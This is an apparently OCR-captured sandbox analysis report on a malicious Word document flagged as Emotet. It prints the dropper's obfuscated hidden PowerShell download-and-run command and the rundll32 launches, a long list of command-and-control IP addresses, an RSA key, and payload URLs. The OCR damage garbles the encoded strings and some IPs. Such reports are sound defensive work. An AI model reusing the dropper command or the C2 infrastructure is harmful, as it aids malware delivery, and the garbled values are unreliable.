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Analysis Report ARCH_25_012021.doc
Overview

General Information Detection Classification

Sample ARCH_25_012021.doc
Name: MALICIOUS

Analysis ID: 344852

Antivirus detection for URL or domain

Found malware configuration

MD5: . .
baedc37e68b587.. Multi AV Scanner detection for doma...
SHA1L:
2131d1319b5de5.. Multi AV Scanner detection for dropp...
SHA256: 94485h3ce47d4a..

Multi AV Scanner detection for subm...
Most interesting Screenshot:

Office document tries to convince Vvi...

Snort IDS alert for network traffic (e....

System process connects to networ...

m Yara detected Emotet
100

Score: C2 URLs / IPs found in malware con...
Range: 0-100 Creates processes via WMI
Whitelisted: false

CACAIE] ) Document contains an embedded VB...
Confidence: 100%

w
«Q
>
2
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=
®
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Startup

= System is w7x64

. WINWORD.EXE (PID: 2408 cmdline: 'C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)
cmd.exe (PID: 2516 cmdline: cmd cmd /c m"s"g %username% /v Wo”rd exp”erien*ced an er”ror tryi*ng to op”en th”e fi*le. & p~owe”rs heMI" -w hi*dd"en -*e”nc UWBFAFQ
AIAAgACYAIgALACIAKWAIAEYAVABZzAECAIgAPACAAKAAGAFSAJABZAFAARQBIACgAIgB7ADEATQB7ADMAFQB7ADAAIQB7ADQAFQB7ADIAfQAIACAALQBGACAAIWBIAGSBAL
gANACWAIWBZAHKAIWASACCATWBYAHKAIWASACCACWBOAGUABQAUACCALAANAGQASQBYAGUAYWBOACCAKQAPACAAOWAGACAAIABXAEUAMWBSADKAPQAGACAAW
WBUAHKAUABIAFOAKAAIAHSAMQB9AHSAMAB9AHSANQBYAHSANABIAHSAMgBIAHSAMWBIACIALQBMACCAWQANACWAIWBTACCALAANAFAAbWBPAE4AJABIAEEAD
gANACWAIJWBBAECARQBYACCALAANAHQARQBIAC4AbgBFAFQALgBTAGUAUgBWAEKAYWBIACCALAANAHMAIWAPACAAIAA7ACQASWBVADMAY QBJADYAMWAIACQAV
AA4ADIASAAGACSAIABbAGMAaABhAHIAXQAOADMAMWAPACAAKWAJACQAUAA2AFBAUWA7TACQASQA3ADAAWGAIACIAIWBZADUAIWAIACCAMABFACCAKQATACAAI
AAOAECAZQBOACOAaQBUAEUABQAJGACAAKAAIAHYAIGArACIAY QAIACSAIgBSAEKAQQBCAGWAZQABADUAIGArACIARgBOAFMAZWAIACKAIAAgACKALGBWAGEABABVAGUAOGA
6ACIAQWBYAGAARQBBAHQARQBJAGQAaQBYAGUAYABJAHQAbWBYAFKAIJAOACQASABPAEOARQAGACSAIAAOACJAKAANAGUAMYBXACCAKWANAESAIJWAIACCAYQB
rACcAKQArACgAIWBOAGSACWB3ACCAKWANAGUAIWATACCAMBXACCAKQArACgAIWBBAGAANgBVAHQAIWATACCAaAANACKAKWAOACCAaABIACCAKWANADIAVWA
NACKAKQAgACAALQBJAFIARQBQAEWAQQBDAGUAIAA0ACCAZQANACSAIWAYAFCAIWAPACWAWWBDAEgAQQBSAFOAOQAYACKAKQA7ACQAVWASADAAWAAIACIAIWB
EACCAKWAOACCANgAZACCAKWANAFQAIWAPACKAOWAJACYAVYBhAHIASQBBAEIABABIACAAUQBIADMAUgASACAALQB2AEEATABIAEUATWBUAGWAIAAGACKAOGA
6ACIAUWBJAEUAQWBYAFUACYBIJAHQAYABZAGAACABYAGBAdABVAEMATWBMACIAIAASACAAKAANAFQADAANACSAKAANAHMAMQANACSAIWAYACCAK QAPADSAJAB
FADMAMgBOADOAKAANAEOAIJWArACGAIWASADYAJWArACCAQWANACKAKQA7ACQAVQBIADcAdgA2AGUABQAGADOAIAAOACYAIWBOACCAKWANADQAOQANACKAKWA
NAEKAJWAPADSAJABCADMAMQBDADOAKAANAEEAOAANACSAIWAXAEOAIWAPADSAIJABRAGYAeAAXADAAeABhADOAJABIAEBATQBFACSAKAAOACCAeWAWAHOASWB
hACcAKWANAGSAdABrAHMAdwB7ACCAKWANADAAIWArACCAFfQANACSAIWBBAGAAIWArACCANgBVAHQAABOAHSAMABIACCAKQALAEY AIABbAGMAaABhAFIAXQASADIAKQATA
CQAVQBIADcAdgA2AGUADBQArACCALgBKACCAIAAACAAIWBSAGWAIWA7TACQAWQAWADMARQAIACYAIWBCADMAIWAIACCAMWBSACCAKQA7ACQASWAXAGKAdQB4A
HgACAAIACCAaAANACAAKWAGACCAJABOACCAIAATACAAIWBWACCAOWAKAFQAY QAXAHKACWBWADQAPQAO0ACCAbgBzACCAKWANACAAIWATACgAIWB3AHUAIABKA
CcAKWANAGIAIAANACKAKWAOACCAbgANACSAIWBKADOAIWAPACSAKAANACBAIWArACCALWBZAGGAY QBUACCAKQArACCcAbgANnACSAKAANAGEACgANACSAIJWBIACCAKQArACC
AZAANACsSAKAANACAAYWBVAGOALWBJAGBAIJWArACCAbgANACSAIWBOAGUAIWATACCAbgANACKAKWANAHQAJWArACgAIJWAVAGWAaAANACSAIJWBBACCAKQArACyY
AIWBMAGUAIWArACcAUWANACKAKWAOACCALWAhAGAAIWArACCACWANACKAKWAOACCAIAB3AHUAIAANACSAIJWBKAGIAIJWAPACSAKAANACAAbBgANACSAIWBKADOAIJWAPACSAI
WAVACBAJWArACgAIWBgAGUAZQANACSAIWB2AGEAbgANACKAKWAOACCAbABPAGMALGBJAG8AbDQAVAHCAIWArACCACAAIACCAKWANAGMAbWANACSAJWBUACCAK
WANAHQAZQANACKAKWAOACCAbgBOACCAKWANACBAIWAPACSAKAANAHIAIWATACCAOABNACBAIQANACSAIWBUAHMAIWAPACSAKAANACAAIWATACCAdWBLIACAAI
WArACCAZABIACAAbgBKACCAKQAIACGAIWABACBAIWAIACCALWBKACCAKQAIACCAY QBZACCAKWAOACCAaAANACSAIWBIAGQAIWAPACSAKAANAGEADgBJAGUAJWAIACCALYB
JAGBAIWAPACSAKAANAGOALWANACSAIWBOAGGAIWAPACSAIWBPAGAAIWAIACgAIWBrAHAAIWATACcAaAANACSAIWBWACBAZAANACKAKWANAGCAIWATACCACWANACSAKAANA
DcASgANACSAIWBIADKAIWAPACSAIWAVACCAKWAOACCAIQBUACCAKWANAHMAIAB3ACCAKQAIACJAIWBIACAAZAANACSAIWBIACCAKQATACYAIWAJAGAAIWAIACCAZAABACS
AIWArACcALWANACKAKWAOACCADAANACSAIWBIAGBAIWAPACSAKAANAHAAY QBYACCAKWANAGQAYWANACKAKWAOACCACgBhAGAAIWArACCAZQBzACCAKQArACY
AIWAUAGMAbBWANACSAIWBLACBAIWArACCcAegB5AGAACQANACKAKWANACOAIWATACCADAANACSAKAANAGKAIWAIACCAbgB1ACCAKWANAHGAIWArACCALQBSAGEAYQBSACCAK
QArACcAZgAvACCcAKWAOACCAdWANACSAIWAVACEAbBgANACKAKWANAHMAIAANACSAKAANAHCAdQAGACCAKWANAGQAYgANACSAIWAJACCAKQATrACCAbgANACSAJ
WBKACCAKWANADOAJWArACCALWANACSAKAANACBAbQBAHIAaQBUAGMAJIWArACCACWAUACCAKQAIACJGAIWBJAGBAIWArACCABQANACSAIWAVAGUAJABIAHIAbgBhAGWALQA
NACKAKWAOACCAZAANACSAIWB1AGUADBAANACKAKWAOACCAaQANACSAIWBZAHQALQANACKAKWAOACCAOQBJAHUAIWAIACCACQB2AC8AagANACKAKWAOACCAEAA
nACsAJWBHAFEAagAvACEAJWArACcAbgANnACKAKWAOACCACWANACSAIWAGAHCAIWAPACSAKAANAHUAIABKACCAKWANAGIAIABUAGQAIWATACCAOgAVACCAKQATrACgAJWAVA
DMAJWArACcAbQB1ACCAKWANAHMAawANACKAKWANAGUAJAANACSAKAANAGUAZ QBYACCAKWANAHMAZ QBUAHQALgBUAGUAJIWArACCAdAAVACCAKQArACgAIWB3A
CcAKWANAHAALQBPAG4AIWArACCAYWBSAHUAZABIAHMALWBUAFUAIWArACCAZWBEACBAIQBUACCAKWANAHMAIAANACKAKWANAHCAAQANACSAIWAGACCAKWAOA
CcAZAANACSAIWBIACAAIWAPACSAKAANAGAAZAANACSAIWBZACCAKQArACgAIWABACCAKWANACBALWANACKAKWAOACCACWANACSAIWBrAGKAbABIAHUAJIWArACCALgBJAGS
AIWAPACSAKAANAGOALWANACSAIWB3ACCAKWANAHAALQBhACCAKQArACCAZAANACSAKAANAGOAaQBUACBAIWArACCAaAANACSAIWBRACCAKQArACgAIWBWAGW
AQUANACSAIWA4AGIALWANACKAKQAUACIACgBgAGUAUABSAEEAYABJAEUAIGAOACYAKAANAGAACWANACSAIWAGACCAKQAIrACGAIWB3AHUAIABKACCAKWANAGIAIAANACKAK
WANAG4AZAANACKALAAOAFSAY QBYAHIAYQB5AFOAKAANAG4AagANACWAIWBOAHIAIWAPACWAIWB5AGOAIWASACCACWBJACCALAAKAESAMQBPAHUAeABAAHAAL
AANAHCAZAANACKAWWAZAFOAKQAUACIAUWBWAGAAbABPAFQAIGACACQARAALIADQAUWAGACSAIAAKAESAbWAZAGEAYWA2ADMAIAAACAAJABGADAAOABKACKAO
WAKAEBAMQA2AFIAPQAOACCAWAA2ACCAKWANADIAVgANACKAOWBMAGBACYBIAGEAYWBOACAAKAAKAEOAZAALAHMAXWBOAGYAIABPAGAAIAAKAFQAY QAXAHKAC
WBWADQAKQB7AHQACgB5AHSAKAAMACYAIWBOAGUAIWArACCAdWALAEBAIWATACCAYgBJACCAKWANAGUAYWBOACCAKQAgGAHMAeQBTAFQARQBNACAATYBIAFQAL
gB3AEUAQYBDAEWASQBFAG4AJAAPACAAIgBEAESBAdWBOAGAATABJAGBAQQBJAEQARYBIAGWARQAIACJAJABKAGQANQBZAF8AaABMACWAIAAKAFEAZgB4ADEAM
AB4AGEAKQA7ACQATAAYADKARAAIACGAIWBPADYAJWArACCANABIACCAKQA7AEKAZGAGACIJAKAAMACIAIWBHAGUAJAAAEKAIWArACCAJABIACCAKWANAGOAJ
WAPACAAJABRAGYAeAAXADAAeABhACKALGAIAEWAY ABIAGAARWBGAFQAaAAIACAALQBNAGUAIAAOADQANWAXADIAKQAgAHSAJGAOACCACGBIAGAAZAANACSAT
WBSAGWAMWAYACCAKQAgACQAUQBMAHIAMQAWAHGAY QASACJAIWBBACCAKWAOACCAbgBSAFMAJAANACSAIWBYACCAKQAIACGAIWBPACCAKWANAGAAZWANACKAK
QAUACIAVABVAHMAY ABUAFIAaQBgAE4AZWAIACJAKQA7ACQAQYAYADCAQYAIACJIAKAANAFCANAANACSAIWAZACCAKQArACCAUWANACKAOWBIAHIAZQBhAGSAO
WAKAFOAOAAXAFYAPQAOACCASQA2ACCAKWANADIAWQANACKATQBIAGMAY QBOAGMAaAB7AHOAFQAKAEIANQA4AEKAPQAOACCATWAZACCAKWANADUASQANACKA MD5:
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5746BD7E255DD6ABAFAO06F7C42C1BA41)

e [ msg.exe (PID: 2296 cmdline: msg user /v Word experienced an error trying to open the file. MD5: 2214979661E779C3E3C33D4F14E6F3AC)

e 4 powershell.exe (PID: 1552 cmdline: powershell -w hidden -enc UwBFAFQAIAAgGACQAIgAIACIAKWAIAEYAVABZAECAIgGAPACAAKAAGAFSAJABZAFAARQBd
ACgAIgB7ADEAfQB7ADMAIQB7ADAATQB7ADQAFQB7ADIAIQAIACAALQBGACAAIWBIAGBALJANACWAIWBZAHKAIWASACCATWBYAHKAIWASACCACWBOAGUADQAU
ACCALAANAGQASQBYAGUAYWBOACCAKQAPACAAOWAGACAAIABXAEUAMWBSADKAPQAgACAAWWBUAHKAUABIAFOAKAAIAHSAMQBIAHSAMABOIAHSANQBIAHSANABY
AHsAMgB9AHSAMWBIACIALQBMACCAWQANACWAIWBTACCALAANAFAAbBWBPAE4AJABIAEEADgANACWAIWBBAECARQBYACCALAANAHQARQBIAC4AbgBFAFQALGBT
AGUAUgBWAEKAYWBIACCALAANAHMAJIWAPACAAIAATACQASWBVADMAY QBJADY AMWASACQAVAA4ADIASAAGACSAIABbAGMAaABhAHIAXQAOADMAMWAPACAAKWAY
ACQAUAA2AFBAUWATACQASQA3ADAAWYAIACIAIWBZADUAIWArACCAMABFACCAKQA7ACAAIAAOAECAZQBOACOAaQBUAEUADBQAGACAAKAAIAHYAIGArACIAY QAI
ACsAIlgBSAEKAQQBCAGWAZQABADUAIGArACIARgBOAFMAZWAIACKAIAAGACKALgBWAGEADABVAGUAOJGABGACIAQWBYAGAARQBBAHQARQBJAGQAaQBYAGUAYAB|
AHQAbwBYAFKAIgAOACQASABPAEOARQAJGACSAIAAOACJAKAANAGUAMYBXACCAKWANAESAIWAIACCAY QBrACCAKQArACgAIWBOAGSACWB3ACCAKWANAGUAIWAT
ACCcAMgBXACCAKQArACgAIWBBAGA4ANgBVAHQAIWArACcAaAANACKAKWAOACCAaABIACCAKWANADIAVWANACKAKQAGACAALQBJAFIARQBQAEWAQQBDAGUAIAA0
ACCcAZQANACSAIWAYAFCAIWAPACWAWWBDAEgAQQBSAFOAOQAYACKAKQA7ACQAVWASADAAWAAIACJAIWBEACCAKWAOACCANGAZACCAKWANAFQAIWAPACKAOWAY
ACgAVgBhAHIASQBBAEIAbABIACAAUQBIADMAUGASACAALQB2AEEATABIAEUATWBUAGWAIAAGACKAOGABACIAUWBJAEUAQWBIAFUACgBIAHQAYABZAGAACABY
AGBAJABVAEMATWBMACIAIAA9ACAAKAANAFQADBAANACSAKAANAHMAMQANACSAIWAYACCAKQAPADSAJABFADMAMgBOADOAKAANAEOAIWAIACGAIWASADYAJWAr
ACCcAQWANACKAKQA7ACQAVQBIADcAdgA2AGUABQAJADOAIAACACYAIWBOACCAKWANADQAOQANACKAKWANAEKAIWAPADSAJABCADMAMQBDADOAKAANAEEAOAAN
ACSAIWAXAEO0AIWAPADSAJABRAGYAeAAXADAAeABhADOAJABIAEBATQBFACSAKAAOACCAeWAWAHOASWBhACCAKWANAGSAdABrAHMAdwB7ACCAKWANADAAIWAT
ACCAfQANACSAIWBBAG4AIWArACCANgBVAHQAaABOAHSAMABIACCAKQALAEYAIABBAGMAaABhAFIAXQASADIAKQArACQAVQBIADcAdgA2AGUADBQArACCALgBK
ACCAIAArACAAIWBSAGWAIWA7TACQAWQAWADMARQAIACYAIWBCADMAIWAIACCAMWBSACCAKQA7ACQASWAXAGKAdQB4AHJACAAIACCAaAANACAAKWAJACCAJABO
ACCAIAATACAAIWBWACCAOWAKAFQAY QAXAHKACWBWADQAPQAOACCAbgBzACCAKWANACAAIWArACGAIWB3AHUAIABKACCAKWANAGIAIAANACKAKWAOACCAbgAN
ACsAJWBKADOAIWAPACSAKAANACBAIWArACCALWBZAGGAY QBUACCAKQArACCAbgANACSAKAANAGEACgANACSAIWBIACCAKQArACCAZAANACSAKAANACAAYwWBY
AGOALWBJAG8AIWArACcAbgAnACsSAIWBOAGUAJIWArACcAbgANACKAKWANAHQAJIWArACgAIJWAVAGWAAAANACSAIJWBBACCAKQArACgAIJWBMAGUAJWArACCAUWAN
ACKAKWAOACCALWAhAG4AAIWArACCcAcWANACKAKWAOACCAIAB3AHUAIAANACSAIWBKAGIAIWAPACSAKAANACAAbgANACSAIWBKADOAIWAPACSAIWAVACBAIWAr

ACgAIWBGAGUAZQANACSAIWB2AGEAbgANACKAKWAOACCADBABPAGMALYBJAGB8AbQAVAHCAIWAIACCACAAtACCAKWANAGMABWANACSAIWBUACCAKWANAHQAZQAN
ACKAKWAOACCAbgBOACCAKWANACBAIWAPACSAKAANAHIAIWAIACCAOABNACBAIQANACSAIWBUAHMAIWAPACSAKAANACAAIWAIACCAdWBIACAAIWArACCAZABI
ACAAbgBKACCAKQArACJAIWABACBAIWAIACCALWBKACCAKQAIACCAY QBzACCAKWAOACCAAAANACSAIWBIAGQAIWAPACSAKAANAGEAbYBJAGUAIWAIACCALYB)
AGBAIJWAPACSAKAANAGOALWANACSAIWBOAGIAIWAPACSAIWBPAGAAIWATACgAIWBrAHAAIWArACcAaAANACSAIWBWACBAZAANACKAKWANAGCAIJWArACCcAcwAN
ACSAKAANADCASYANACSAIWBLADKAIWAPACSAIWAVACCAKWAOACCAIQBUACCAKWANAHMAIAB3ACCAKQArACgAIJWBLIACAAZAANACSAIWBIACCAKQArACgAIWAY
AGA4AIWArACCAZAABACBAIWArACCALWANACKAKWAOACCADAANACSAIWBIAGBAIWAPACSAKAANAHAAY QBYACCAKWANAGQAYWANACKAKWAOACCACGBhAGAAIWAT
ACcAZQBzACcAKQArACgAIJWAUAGMAbwWANACsAJWBIACBAIWArACcAegB5AGAACQANACKAKWANACOAIJWArACCADAANACSAKAANAGKAIWArACCcAbgB1ACCAKWAN
AHgAIWArACCALQB5SAGEAYQB5ACCAKQArACCAZgAVACCAKWAOACCAIWANACSAIWAVACEAbgANACKAKWANAHMAIAANACSAKAANAHCAdQAGACCAKWANAGQAYgAN
ACsAIJWAJACCAKQArACcAbgAnACsAIJWBKACCAKWANADOAIWArACCALWANACSAKAANACBADQBIAHIAaQBUAGMAJIWATrACCACWAUACCAKQArACgAIWBJAGBAIWAr
ACCcAbQANACSAIWAVAGUAJABIAHIAbgBhAGWALQANACKAKWAOACCAZAANACSAIWBIAGUABAANACKAKWAOACCAAQANACSAIWBZAHQALQANACKAKWAOACCAOQB]
AHUAJWArACcAcQB2AC8AagANACKAKWAOACCcAeAANACSAIWBHAFEAagAVACEAIWArACcAbgANACKAKWAOACCACWANACSAIWAgGAHCAIWAPACSAKAANAHUAIABK
ACCAKWANAGIAIABUAGQAIWArACCAOGAVACCAKQArACgAIWAVADMAJIWATIACCAbQB1ACCAKWANAHMAawANACKAKWANAGUAJAANACSAKAANAGUAZQBYACCAKWAN
AHMAZQBUAHQALgBUAGUAJIWArACCAdAAVACCAKQArACgAIWB3ACCAKWANAHAALQBPAGAAIWAIACCAYWBSAHUAZABIAHMALWBUAFUAJWArACCAZWBEACBAIQBU
ACcAKWANAHMAIAANACKAKWANAHCAAQANACSAIWAGACCAKWAOACCAZAANACSAIWBIACAAIWAPACSAKAANAGAAZAANACSAIWBZACCAKQATACgAIJWABACCAKWAN
AC8ALWANACKAKWAOACCACWANACSAIWBIAGKAbABtAHUAIWArACCALYBJAGBAIWAPACSAKAANAGOALWANACSAIWB3ACCAKWANAHAALQBhACCAKQArACCAZAAN
ACsSAKAANAGOAaQBUACBAIWArACCAaAANACSAIWBRACCAKQArACgAIWBWAGWAQUANACSAIWA4AGIALWANACKAKQAUACIAcgBgAGUAUABSAEEAYABJAEUAIgAO
ACgAKAANAGAACWANACSAIWAGACCAKQArACgAIWB3AHUAIABKACCAKWANAGIAIAANACKAKWANAG4AZAANACKALAAOAFSAY QBYAHIAY QB5AFOAKAANAG4AagAn
ACWAIWBOAHIAIWAPACWAIWB5AGOAIWASACCACWBJACCALAAKAESAMQBPAHUAeABAAHAALAANAHCAZAANACKAWWAZAFOAKQAUACIAUWBWAGAADABPAFQAIgAO
ACQARAA1ADQAUWAGACSAIAAKAESAbWAZAGEAYWA2ADMAIAATACAAJABGADAAOABKACKAOWAKAEBAMQA2AFIAPQACACCAWAA2ACCAKWANADIAVGANACKAOWBmM
AGBACYBIAGEAYWBOACAAKAAKAEOAZAALAHMAXWBOAGY AIABPAGAAIAAKAFQAY QAXAHKACWBWADQAKQB7AHQACYB5AHSAKAAMACGAIWBOAGUAIWArACCAdWAL
AEBAIJWArACCAYgBJACCAKWANAGUAYWBOACCAKQAgAHMAeQBTAFQARQBNAC4ATYBIAFQALYB3AEUAQYBDAEWASQBFAG4AdAAPACAAIgBEAESBAdWBOAGAATABY
AGBAQQBJAEQARYBIAGWARQAIACJAJABKAGQANQBZzAF8AaABMACWAIAAKAFEAZgBA4ADEAMABAAGEAKQA7ACQATAAYADKARAAIACIAIWBPADYAIWArACCANABI
ACCAKQA7AEKAZgAgACGAKAAMACIAIWBHAGUAdAALAEKAIWATIACCAJABIACCAKWANAGOAIWAPACAAIJABRAGY AeAAXADAAeABhACKALGAIAEWAYABIAG4ARWBg
AFQAaAAIACAALQBNAGUAIAAOADQANWAXADIAKQAJAHSAIGAOACCACYBLIAGAAZAANACSAIWBSAGWAMWAYACCAKQAJACQAUQBMAHYAMQAWAHIAY QASACgAIWBB
ACCAKWAOACCAbgB5AFMAJAANACSAIWBYACCAKQAIACGAIWBPACCAKWANAGAAZWANACKAKQAUACIAVABVAHMAYABUAFIAaQBYAE4AZWAIACJAKQA7TACQAQUAY
ADCAQYAIACIGAKAANAFCANAANACSAIWAZACCAKQAIACCAUWANACKAOWBIAHIAZQBhAGSAOWAKAFOAOAAXAFYAPQAOACCASQA2ACCAKWANADIAWQANACKATQBI
AGMAYQBOAGMAaAB7AHOAFQAKAEIANQALAEKAPQAOACCATWAZACCAKWANADUASQANACKA MD5: 852D67A27E454BD389FA7F02A8CBE23F)

. D rundll32.exe (PID: 2304 cmdline: 'C:\Windows\system32\rundll32.exe’ C:\Users\user\Kaktksw\An6othh\N49I.dIl AnyString MD5: DD81D91FF3B0763C392422865C9AC12E)

. D rundll32.exe (PID: 2748 cmdline: 'C:\Windows\system32\rundlI32.exe' C:\Users\user\Kaktksw\An6othh\N49I.dIl AnyString MD5:

51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2728 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Users\user\Kaktksw\An6othh\N491.dII' #1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2812 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Xsugi\zrfn.shd',FIxqgRZUp MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2876 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Xsugi\zrfn.shd' #1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2908 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Omuzgl\aridm.cve',PiBVmMpskdW MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 912 cmdline: C:\Windows\SysWOW#64\rundlI32.exe 'C:\Windows\SysWOW64\Omuzgl\aridm.cve',#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 1616 cmdline: C:\Windows\SysWOW64\rundlI32.exe 'C:\Windows\SysWOW64\Yjyrclf\qwodoyj.whn',CPVO MD5:
51138BEEA3E2C21EC44D0932C71762A8)
. D rundll32.exe (PID: 2492 cmdline: C:\Windows\SysWOW&64\rundlI32.exe 'C:\Windows\SysWOW64\Yjyrclf\qwodoyj.whn',#1 MD5:
51138BEEA3E2C21EC44D0932C71762A8)
= cleanup

Malware Configuration

Threatname: Emotet

"c2 list": [

"84.232.229.24:80",

"51.255.203.164:8080",

"217.160.169.110:8080",

"185.183.16.47:80",

"196.45.24.210:80",

"187.162.248.237:80",

"93.146.143.191:80",

"185.94.252.27:443",
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"143.0.85.206:7080",
"80.15.100.37:80",
"85.105.239.184:443",
"94.176.234.118:443",
"62.84.75.50:80",
"137.74.106.111:7080",
"172.104.169.32:8080",
"46.105.114.137:8080",
"94.126.8.1:80",
"78.206.229.130:80",
"93.149.120.214:80",
"192.175.111.212:7080",
"80.249.176.206:80",
"181.10.46.92:80",
"190.24.243.186:80",
"191.223.36.170:80",
"177.23.7.151:80",
"154.127.113.242:80",
"51.255.165.160:8080",
"87.106.46.107:8080",
"85.214.26.7:8080",
"190.247.139.101:80",
"46.101.58.37:8080",
"201.185.69.28:443",
"46.43.2.95:8080",
"82.208.146.142:7080",
"110.39.160.38:443",
"186.177.174.163:80",
"51.38.124.206:80",
"81.4.105.175:8080",
"209.33.120.130:80",
"172.245.248.239:8080",
"45.16.226.117:443",
"104.130.154.83:7080",
"217.13.106.14:8080",
"94.23.45.86:7080",
"152.169.22.67:80",
"12.162.84.2:8080",
"201.48.121.65:443",
"81.17.93.134:80",
"81.215.230.173:443",
"60.93.23.51:80",
"122.201.23.45:443",
"31.27.59.105:80",
"105.2609.235.113:8080",
"197.232.36.108:80",
"91.233.197.70:80",
"87.106.253.248:8080",
"138.97.60.141:7080",
"152.1760.79.100:80",
"190.251.216.100:80",
"177.85.167.10:80",
"212.71.237.140:8080",
"82.48.39.246:80",
"213.52.74.198:80",
"116.125.120.88:443",
"81.214.253.80:443",
"149.62.173.247:8080",
"152.231.89.226:80",
"206.189.232.2:8080",
"181.30.61.163:443",
"1.226.84.243:8080",
"191.241.233.198:80",
"109.101.137.162:8080",
"110.39.162.2:443",
"167.71.148.58:443",
"5.196.35.138:7080",
"190.64.88.186:443",
"200.75.39.254:80",
"138.97.60.140:8080",
"170.81.48.2:80",
"70.32.115.157:8080",
"104.131.41.185:8080",
"190.162.232.138:80",
"188.135.15.49:80",
"95.76.153.115:80",
"188.225.32.231:7080",
"12.163.208.58:80",
"50.28.51.143:8080",
"202.134.4.210:7080",
"190.210.246.253:80",
"149.202.72.142:7080",
"138.197.99.250:8080",
"68.183.190.199:8080",
"211.215.18.93:8080"

1,

"RSA Public Key":

"MHwwDQYJIKoZIhvcNAQEBBQADawAwaAJhAOZ9fL I8Ur IO0ZURpPsR3et jAyfPj3z6\nuS75f2igmYFW2aWgNcFIzsAYQleKzDOnlCFHOo7Zf8/4wY2UWOCI4dIEHNE/PH1 z \ n6uNk3px jm704eCDy1Jbz f+k0OAzjl0q54FQIDAQAB"

}
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Yara Overview

Memory Dumps

Source Rule Description Author Strings
0000000E.00000002.2340258197.0000000000740000.0000 JoeSecurity Emotet  Yara detected Joe Security
0040.00020000.sdmp Emotet
0000000E.00000002.2340368896.00000000007E0000.0000 JoeSecurity Emotet  Yara detected Joe Security
0040.00000001.sdmp Emotet
0000000D.00000002.2114550082.00000000007B0000.0000 JoeSecurity Emotet  Yara detected Joe Security
0040.00000001.sdmp Emotet
00000008.00000002.2102026803.00000000002D0000.0000 JoeSecurity Emotet  Yara detected Joe Security
0040.00000001.sdmp Emotet
0000000D.00000002.2114093455.0000000000710000.0000 JoeSecurity Emotet  Yara detected Joe Security
0040.00020000.sdmp Emotet

Click to see the 19 entries

Unpacked PEs

Source Rule Description Author Strings

9.2.rundll32.exe.210000.0.raw.unpack JoeSecurity_Emotet  Yara detected Joe Security
Emotet

14.2.rundlI32.exe.740000.1.raw.unpack JoeSecurity_Emotet  Yara detected Joe Security
Emotet

12.2.rundlI32.exe.1b0000.0.raw.unpack JoeSecurity_Emotet  Yara detected Joe Security
Emotet

11.2.rundlI32.exe.750000.1.raw.unpack JoeSecurity_Emotet  Yara detected Joe Security
Emotet

11.2.rundlI32.exe.2a0000.0.raw.unpack JoeSecurity_Emotet  Yara detected Joe Security
Emotet

Click to see the 27 entries

Sigma Overview

System Summary:

Signature Overview

@ AV Detection

@ Cryptography

@ Compliance

@ Spreading

@ Software Vulnerabilities

@ Networking

@ E-Banking Fraud

@ System Summary

©® Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
® Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion
@ Language, Device and Operating System Detection
@ Stealing of Sensitive Information

@ Click to jump to signature section
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AV Detection:

Antivirus detection for URL or domain
Found malware configuration

Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Compliance:

Uses new MSVCR DlIs

Binary contains paths to debug symbols

1)

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

E-Banking Fraud:

=

Yara detected Emotet

System Summary:

=

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Data Obfuscation:

=

Persistence and Installation Behavior:

L

:

Hooking and other Techniques for Hiding and Protection:

]

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information:

]

Yara detected Emotet
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Hide Legend
Legend:
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https://www.virustotal.com/gui/file/94485b3ce47d4a2df6dba8e888ca7a360763f7edd5a0448552d1d06b6e4f4baa/detection/f-94485b3ce47d4a2df6dba8e888ca7a360763f7edd5a0448552d1d06b6e4f4baa-1611705677

Source Detection Scanner Label Link Download

Domains

Source Detection Scanner Label Link
shannared.com 5% Virustotal Browse
URLs

Source Detection Scanner Label Link

R s S|
L S e ) I

hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
o NesdmucomvpadmnhVS e vessa  sowse
hitp://https://skiimu.com/wp-admin/hQVIB8b/ 0% Avira URL Cloud safe
hitp://jeevanlic.com/wp-content/r8M/ 0% Avira URL Cloud safe
o GehdmescomtwerigTn G ARG mawee
hitp://shannared.com 0% Avira URL Cloud safe
o shmeedsmeenAleS G AR maee
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
o mmcscomeemdduisgnacdl om0 AwURCed mawee
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://iwindowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe

e e R v P

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation

Contacted URLs

Name Malicious Antivirus Detection Reputation

e e S e e v S (TR

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation
hitp://services.msn.com/svcs/oe/certpage.asp? rundlI32.exe, 00000006.0000000 false high
name=%s&email=%s&&Check 2.2103145307.0000000001ED7000.

00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2101608511.000
